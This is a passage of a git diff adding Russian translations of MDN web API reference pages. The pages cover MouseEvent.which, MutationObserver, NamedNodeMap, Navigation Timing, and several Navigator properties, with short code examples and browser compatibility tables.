+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотри также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/which/index.html b/files/ru/web/api/mouseevent/which/index.html
new file mode 100644
index 0000000000..83e4984abe
--- /dev/null
+++ b/files/ru/web/api/mouseevent/which/index.html
@@ -0,0 +1,47 @@
+---
+title: MouseEvent.which
+slug: Web/API/MouseEvent/which
+tags:
+  - API
+  - "События\_DOM"
+translation_of: Web/API/MouseEvent/which
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>{{Non-standard_header}}</p>
+
+<p><strong><code>MouseEvent.which</code></strong> это свойство только для чтения которое показывает какая именно кнопка мыши вызвала событие MouseEvent. Стандартная альтернатива этому свойству – {{ domxref("MouseEvent.button") }} и {{ domxref("MouseEvent.buttons") }}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.which
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значения соответствующие кнопкам:</p>
+
+<ul>
+ <li><code>0</code>: Нет кнопки</li>
+ <li><code>1</code>: Левая кнопка</li>
+ <li><code>2</code>: Средняя (если есть)</li>
+ <li><code>3</code>: Права кнопка</li>
+</ul>
+
+<p>Для мыши настроенной для левшей порядок значений будет изменён. В этом случае значению <code>1</code> будет соответствовать правай кнопка, а <code>3</code> – левая.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Это свойство не является частью спецификации.</p>
+
+<h2 id="Совместимость_с_бразуерами">Совместимость с бразуерами</h2>
+
+
+
+<p>{{Compat("api.MouseEvent.which")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mutationobserver/index.html b/files/ru/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..61a16f69f0
--- /dev/null
+++ b/files/ru/web/api/mutationobserver/index.html
@@ -0,0 +1,176 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+tags:
+  - API
+  - Advanced
+  - DOM
+  - DOM Reference
+  - NeedsContent
+  - NeedsUpdate
+  - Reference
+translation_of: Web/API/MutationObserver
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>MutationObserver</code> предоставляет возможность получать уведомления об изменении определённых <a href="/en-US/docs/DOM">DOM</a>-элементов. <code>MutationObserver</code> является заменой <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a>, определённой в спецификации DOM3 Events.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}</dt>
+ <dd>Создает и возвращает новый <code>MutationObserver</code>, который вызовет определенную функцию обратного вызова при изменении в DOM.</dd>
+</dl>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Вызывается при каждом изменении DOM-элемента. Обзёрвер вызывает данную функцию с двумя аргументами. Первым аргументом является массив объектов <a href="/en-US/docs/Web/API/MutationRecord">MutationRecord</a>, вторым аргументом является экземпляр <code>MutationObserver.</code></dd>
+</dl>
+
+<h2 id="Методы_экземпляра">Методы экземпляра</h2>
+
+<dl>
+ <dt>{{domxref("MutationObserver.disconnect", "disconnect()")}}</dt>
+ <dd>Прекращает получение уведомлений об изменении DOM-элемента экземпляром <code>MutationObserver</code>, до того момента пока не будет вызван метод <a href="#observe()">observe()</a>.</dd>
+ <dt>{{domxref("MutationObserver.observe", "observe()")}}</dt>
+ <dd>Подписывает экземпляр <code>MutationObserver</code> на получение уведомлений о манипуляциях с DOM-элементом.</dd>
+ <dt>{{domxref("MutationObserver.takeRecords", "takeRecords()")}}</dt>
+ <dd>Возвращает текущий {{jsxref("Array")}} очереди экземпляра <code>MutationObserver</code>, затем очищает её.</dd>
+</dl>
+
+<h2 id="MutationObserverInit"><code>MutationObserverInit</code></h2>
+
+<p><code>MutationObserverInit</code> — объект, который может содержать следующие свойства:</p>
+
+<div class="note"><strong>Примечание:</strong> Так или иначе необходимо установить <code>true</code> для одного из следующих cвойств: <code>childList</code>, <code>attributes</code>, <code>characterData</code>. В противном случае будет вызвана ошибка "An invalid or illegal string was specified"</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>childList</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за добавлением или удалением дочерних элементов (Включая текстовые узлы (text nodes))</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за изменениями атрибутов целевого элемента.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>characterData</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за изменениями значения текстового содержимого целевого узла (текстовых узлов дочернего элемента).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>subtree</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за потомками целевого элемента. </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeOldValue</code></td>
+   <td>
+    <p>true, если необходимо возвращать предыдущее значение атрибута. </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>characterDataOldValue</code></td>
+   <td>
+    <p>true, если необходимо возвращать предыдущее значение Data атрибута. </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeFilter</code></td>
+   <td>
+    <p>Устанавливает массив названий атрибутов (без указания пространства имен), если требуется наблюдать за изменениями конкретных атрибутов. </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Mutation_Observer_customize_resize_event_listener_demo">Mutation Observer &amp; customize resize event listener &amp; demo</h2>
+
+<p><a href="https://codepen.io/webgeeker/full/YjrZgg/">https://codepen.io/webgeeker/full/YjrZgg/</a></p>
+
+<h2 id="Пример_использования">Пример использования</h2>
+
+<p>Приведённый ниже пример взят из <a href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/">этого блога</a>.</p>
+
+<pre class="brush: js">// Выбираем целевой элемент
+var target = document.getElementById('some-id');
+
+// Конфигурация observer (за какими изменениями наблюдать)
+const config = {
+    attributes: true,
+    childList: true,
+    subtree: true
+};
+
+// Функция обратного вызова при срабатывании мутации
+const callback = function(mutationsList, observer) {
+    for (let mutation of mutationsList) {
+        if (mutation.type === 'childList') {
+            console.log('A child node has been added or removed.');
+        } else if (mutation.type === 'attributes') {
+            console.log('The ' + mutation.attributeName + ' attribute was modified.');
+        }
+    }
+};
+
+// Создаем<code> </code>экземпляр наблюдателя с указанной функцией обратного вызова
+const observer = new MutationObserver(callback);
+
+// Начинаем наблюдение за настроенными изменениями целевого элемента<code>
+observer.observe(target, config);
+
+</code>// Позже можно остановить наблюдение<code>
+observer.disconnect();</code>
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.MutationObserver")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref('PerformanceObserver')}}</li>
+ <li>{{domxref('ResizeObserver')}}</li>
+ <li>{{domxref('IntersectionObserver')}}</li>
+ <li><a href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">Краткий обзор</a></li>
+ <li><a href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">Более детальное обсуждение</a></li>
+ <li><a href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">Скринкаст от разработчика Chromium Rafael Weinstein</a></li>
+</ul>
diff --git a/files/ru/web/api/namednodemap/getnameditem/index.html b/files/ru/web/api/namednodemap/getnameditem/index.html
new file mode 100644
index 0000000000..26cc894bf8
--- /dev/null
+++ b/files/ru/web/api/namednodemap/getnameditem/index.html
@@ -0,0 +1,24 @@
+---
+title: NamedNodeMap.getNamedItem()
+slug: Web/API/NamedNodeMap/getNamedItem
+translation_of: Web/API/NamedNodeMap/getNamedItem
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>getNamedItem()</strong></code> интерфейса {{domxref ("NamedNodeMap")}} возвращает значение {{domxref ("Attr")}}, соответствующее заданному имени, или значение null, если соответствующий атрибут отсутствует.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>myAttr</em> = attrs.getNamedItem(<em>name</em>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>name</code> имя нужного атрибута</li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NamedNodeMap.getNamedItem")}}</p>
diff --git a/files/ru/web/api/namednodemap/index.html b/files/ru/web/api/namednodemap/index.html
new file mode 100644
index 0000000000..8ad92f6fa1
--- /dev/null
+++ b/files/ru/web/api/namednodemap/index.html
@@ -0,0 +1,88 @@
+---
+title: NamedNodeMap
+slug: Web/API/NamedNodeMap
+translation_of: Web/API/NamedNodeMap
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Интерфейс <code><strong>NamedNodeMap</strong></code> представляет собой коллекцию объектов {{domxref("Attr")}}. Объекты внутри <code>NamedNodeMap</code> не находятся в каком-либо определенном порядке, в отличие от {{domxref("NodeList")}}, хотя они могут быть доступны при использовании индекса, как в массиве.</p>
+
+<p>Объект NamedNodeMap является "живым" и, таким образом, будет автоматически обновляться, если изменения будут внесены в его содержимое внутри или в другом месте.</p>
+
+<div class="note">
+<p>Хотя данный интерфейс и  назвается <code>NamedNodeMap</code> , он не имеет ничего общего с объектом {{domxref("Node")}}, но до сих пор связан с объектом {{domxref(" Attr ")}}, который изначально был специализированным классом {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Этот интерфейс не наследует никаких свойств.</p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает количество объектов внутри объекта NamedNodeMap.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Этот интерфейс не наследует никакого метода.</p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.getNamedItem()")}}</dt>
+ <dd>Возвращает значение {{domxref ("Attr")}}, соответствующее данному имени.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItem()")}}</dt>
+ <dd>Заменяет или добавляет {{domxref ("Attr")}}, обозначенный в объекте NamedNodeMap  заданным именем.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItem()")}}</dt>
+ <dd>Удаляет {{domxref ("Attr")}}, идентифицированный объектом NamedNodeMap .</dd>
+ <dt>{{domxref("NamedNodeMap.item()")}}</dt>
+ <dd>Возвращает значение {{domxref ("Attr")}} по заданному индексу или null, если индекс больше или равен числу узлов.</dd>
+ <dt>{{domxref("NamedNodeMap.getNamedItemNS()")}}</dt>
+ <dd>Возвращает {{domxref ("Attr")}}, идентифицированный пространством имен и связанным локальным именем.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItemNS()")}}</dt>
+ <dd>Заменяет или добавляет {{domxref ("Attr")}}, идентифицированный в объекте NamedNodeMap данным пространством имен и связанным локальным именем.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItemNS()")}}</dt>
+ <dd>Удаляет {{domxref ("Attr")}}, идентифицированный данным пространством имен и связанным локальным именем.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-namednodemap', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Имеет дело с {{domxref("Attr")}} вместо {{domxref("Node")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Added <code>getNamedItemNS()</code>, <code>setNamedItemNS()</code> and <code>removeNamedItemNS()</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.NamedNodeMap")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.attributes")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigation_timing_api/index.html b/files/ru/web/api/navigation_timing_api/index.html
new file mode 100644
index 0000000000..81e84e72e6
--- /dev/null
+++ b/files/ru/web/api/navigation_timing_api/index.html
@@ -0,0 +1,157 @@
+---
+title: Navigation Timing API
+slug: Web/API/Navigation_timing_API
+tags:
+  - API
+  - Client side performance
+  - Navigation Timing
+  - Performance
+  - Производительность
+translation_of: Web/API/Navigation_timing_API
+---
+<p>{{DefaultAPISidebar("Navigation Timing")}}</p>
+
+<p><strong>Navigation Timing API </strong>предоставляет данные, которые могут быть использованы для измерения производительности веб-сайта. В отличие от других механизмов на основе JavaScript, которые были использованы с той же целью, этот API может предоставить полную и точную информацию о задержке в получении данных. </p>
+
+<p>Следующий пример демонстрирует как можно измерить время загрузки страницы с точки зрения пользователя:</p>
+
+<pre>function onLoad() {
+  var now = new Date().getTime();
+  var page_load_time = now - performance.timing.navigationStart;
+  console.log("User-perceived page loading time: " + page_load_time);
+}
+</pre>
+
+<p>Есть много событий, измеренных в миллисекундах, которые могут быть доступны через {{domxref("PerformanceTiming")}} интерфейс. Список событий в хронологическом порядке:</p>
+
+<ul>
+ <li>navigationStart</li>
+ <li>unloadEventStart</li>
+ <li>unloadEventEnd</li>
+ <li>redirectStart</li>
+ <li>redirectEnd</li>
+ <li>fetchStart</li>
+ <li>domainLookupStart</li>
+ <li>domainLookupEnd</li>
+ <li>connectStart</li>
+ <li>connectEnd</li>
+ <li>secureConnectionStart</li>
+ <li>requestStart</li>
+ <li>responseStart</li>
+ <li>responseEnd</li>
+ <li>domLoading</li>
+ <li>domInteractive</li>
+ <li>domContentLoadedEventStart</li>
+ <li>domContentLoadedEventEnd</li>
+ <li>domComplete</li>
+ <li>loadEventStart</li>
+ <li>loadEventEnd</li>
+</ul>
+
+<p>Объект <code>window.performance.navigation</code> хранит два атрибута, которые могут быть использованы, для определения была ли страница загружена в последствии перенаправления, использования навигации по страницам в браузере или обычной загрузки по ссылке.</p>
+
+<p>window.performance.navigation.type:</p>
+
+<table class="standard-table" style="font-size: 14px;">
+ <thead>
+  <tr>
+   <th scope="col">Флаг</th>
+   <th scope="col">Значение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a name="const_next"><code>TYPE_NAVIGATE</code></a></td>
+   <td>0</td>
+   <td>Навигация началась после нажатия на ссылку, ввода URL в адресную строку браузера, подтверждения формы или после выполнения действия, отличного от действий описанных в флагах TYPE_RELOAD и TYPE_BACK_FORWARD.</td>
+  </tr>
+  <tr>
+   <td><a name="const_next_no_duplicate"><code>TYPE_RELOAD</code></a></td>
+   <td>1</td>
+   <td>Навигация путем перегрузки страницы или выполнения метода location.reload().</td>
+  </tr>
+  <tr>
+   <td><a name="const_prev"><code>TYPE_BACK_FORWARD</code></a></td>
+   <td>2</td>
+   <td>Навигация по истории переходов по страницам в браузере.</td>
+  </tr>
+  <tr>
+   <td><a name="const_prev_no_duplicate"><code>TYPE_UNDEFINED</code></a></td>
+   <td>255</td>
+   <td>Любой другой тип навигации не описанный выше.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>window.performance.navigation.redirectCount</code> отображает количество переадресаций до последней страницы, если они происходили.</p>
+
+<p>Navigation Timing API может быть использован для сбора данных о производительности на стороне клиента при отправке ассинхронных запросов на сервер, а также для получения данных, которые нельзя получить с помощью других средств, таких как время выгрузки предыдущей страницы, время DNS запроса, время полной загрузки страницы.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Вычисление времени полной загрузки страницы:</p>
+
+<pre>var perfData = window.performance.timing;
+var pageLoadTime = perfData.loadEventEnd - perfData.navigationStart;
+</pre>
+
+<p>Вычисление времени выполнения запроса:</p>
+
+<pre>var connectTime = perfData.responseEnd - perfData.requestStart;</pre>
+
+<h3 id="Browser_Compatibility" name="Browser_Compatibility">Ссылки</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/navigation-timing/" title="http://www.w3.org/TR/navigation-timing/">http://www.w3.org/TR/navigation-timing/</a></li>
+</ul>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>6.0</td>
+   <td>{{ CompatGeckoDesktop("7") }}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>4.0</td>
+   <td>{{ CompatGeckoDesktop("15") }}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/navigator/battery/index.html b/files/ru/web/api/navigator/battery/index.html
new file mode 100644
index 0000000000..07f8e7f84b
--- /dev/null
+++ b/files/ru/web/api/navigator/battery/index.html
@@ -0,0 +1,33 @@
+---
+title: Navigator.battery
+slug: Web/API/Navigator/battery
+translation_of: Web/API/Navigator/battery
+---
+<p>{{ ApiRef("Battery API") }}{{deprecated_header}}</p>
+
+<p>Свойство <code>battery</code> только для чтения  возвращающее {{DOMxRef("BatteryManager")}} которое дает информацию об уровне заряда системной батареи; предоставляет также некоторые новые события, <span id="result_box" lang="ru"><span class="hps">которые вы</span> <span class="hps">можете</span> <span class="hps">обрабатывать</span> <span class="hps">и контролируя состояние батареи</span><span>.</span></span>Оно реализует <a href="/en-US/docs/WebAPI/Battery_Status">API состояния батареи</a>;<span id="result_box" lang="ru"><span class="hps"> смотрите</span> <span class="hps">документацию</span> <span class="hps">для получения дополнительной информации</span><span>, руководство</span> <span class="hps">по использованию</span> <span class="hps">API</span> <span class="hps">и примеры кода</span><span>.</span></span></p>
+
+<div class="note">
+<p>Свойство <code>battery</code> устарело и было заменено {{DOMxRef("Navigator.getBattery()")}}. Метод возвращает {{DOMxRef("Promise")}}. Хотя оно частично поддерживается.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var battery = navigator.battery;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{Compat("api.Navigator.battery")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Состояние <a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery API</a>.</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Пост в блоге - использование Battery API.</a></li>
+ <li><a class="external" href="http://davidwalsh.name/battery-api" title="http://davidwalsh.name/battery-api">David Walsh  Battery Api в JavaScript</a>.</li>
+ <li><a href="https://github.com/pstadler/battery.js" title="https://github.com/pstadler/battery.js">battery.js - крошечная кросс-браузерная обертка.</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/cookieenabled/index.html b/files/ru/web/api/navigator/cookieenabled/index.html
new file mode 100644
index 0000000000..cdf99a435b
--- /dev/null
+++ b/files/ru/web/api/navigator/cookieenabled/index.html
@@ -0,0 +1,81 @@
+---
+title: Navigator.cookieEnabled
+slug: Web/API/Navigator/cookieEnabled
+translation_of: Web/API/Navigator/cookieEnabled
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<p>Возвращает логическое значение (Boolean), показывающее включены ли куки или нет.(свойство только для чтения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var cookieEnabled = navigator.cookieEnabled;
+</pre>
+
+<ul>
+ <li><code>cookieEnabled</code> is a Boolean <code>true</code> or <code>false</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">if (!navigator.cookieEnabled) {
+  // пусть пользователь знает, что включенные куки делают страницу более полезной.
+</pre>
+
+<h2 id="Совместимость_в_браузере">Совместимость в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>Yes</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Заметки_для_Gecko">Заметки для Gecko</h3>
+
+<p>До Gecko 8.0 {{ geckoRelease("8.0") }}, <code>window.navigator.cookieEnabled </code>сообщало неправильный результат, если положение исключения было в месте на странице на котором была выполннена проверка. Это было исправлено.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>HTML WHATWG</p>
diff --git a/files/ru/web/api/navigator/donottrack/index.html b/files/ru/web/api/navigator/donottrack/index.html
new file mode 100644
index 0000000000..54f7b8f9e9
--- /dev/null
+++ b/files/ru/web/api/navigator/donottrack/index.html
@@ -0,0 +1,89 @@
+---
+title: Navigator.doNotTrack
+slug: Web/API/Navigator/doNotTrack
+translation_of: Web/API/Navigator/doNotTrack
+---
+<p>{{ ApiRef("HTML DOM") }}{{SeeCompatTable}}</p>
+
+<p>Возвращает настройки пользователя  do-not-track. Будет "yes" если пользователь попросил не отслеживать его на веб-сайтах, контенте, рекламе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>dnt</em> = <em>navigator</em>.doNotTrack;
+</pre>
+
+<p>Значение отражает , что в заголовке do-not-track header, т.е. значения {"1", "0", "unspecified" }.Примечание: до  Gecko 32, Gecko были использованы значения { "yes", "no", "unspecified"} (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=887703">bug 887703</a>).</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">dump(window.navigator.doNotTrack);
+// prints "1" if DNT is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified"
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/tracking-dnt/" title="http://www.w3.org/TR/tracking-dnt/">Tracking Preference Expression</a> (Working проект) основан на более ранней версии этой спецификации, где <code>navigator.doNotTrack</code> <strong>это </strong>значение<strong> </strong> посланое заголовком do-not-track.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en/The_Do_Not_Track_Field_Guide" title="https://developer.mozilla.org/en/The_Do_Not_Track_Field_Guide">The Do Not Track field guide</a></li>
+</ul>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>23</td>
+   <td>{{ CompatGeckoDesktop("9.0") }}</td>
+   <td>9</td>
+   <td>12</td>
+   <td>5.1 on OS X 10.7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("9.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>IE9 использует вендорныый префикс, т.е., navigator.msDoNotTrack</li>
+ <li>До Gecko 32, Firefox сообщал бы navigator.doNotTrack со значением "yes" и "no" вместо "1" и "0"</li>
+ <li>Safari 7.1.3 кажется, использовал window.doNotTrack вместо navigator.doNotTrack</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/navigator/geolocation/index.html b/files/ru/web/api/navigator/geolocation/index.html
new file mode 100644
index 0000000000..5bc748ee47
--- /dev/null
+++ b/files/ru/web/api/navigator/geolocation/index.html
@@ -0,0 +1,96 @@
+---
+title: Navigator.geolocation
+slug: Web/API/Navigator/geolocation
+translation_of: Web/API/Navigator/geolocation
+---
+<p>{{ APIRef("Geolocation API") }}</p>
+
+<p>Свойство <strong><code>Navigator.geolocation</code></strong> только для чтения, возвращающие объект {{domxref("Geolocation")}}, который дает веб контенту доступ к месторасположению устройства. Это позволяет веб-сайту или приложению предложить индивидуальный результат основанный на месторасположении пользователя.</p>
+
+<div class="note">
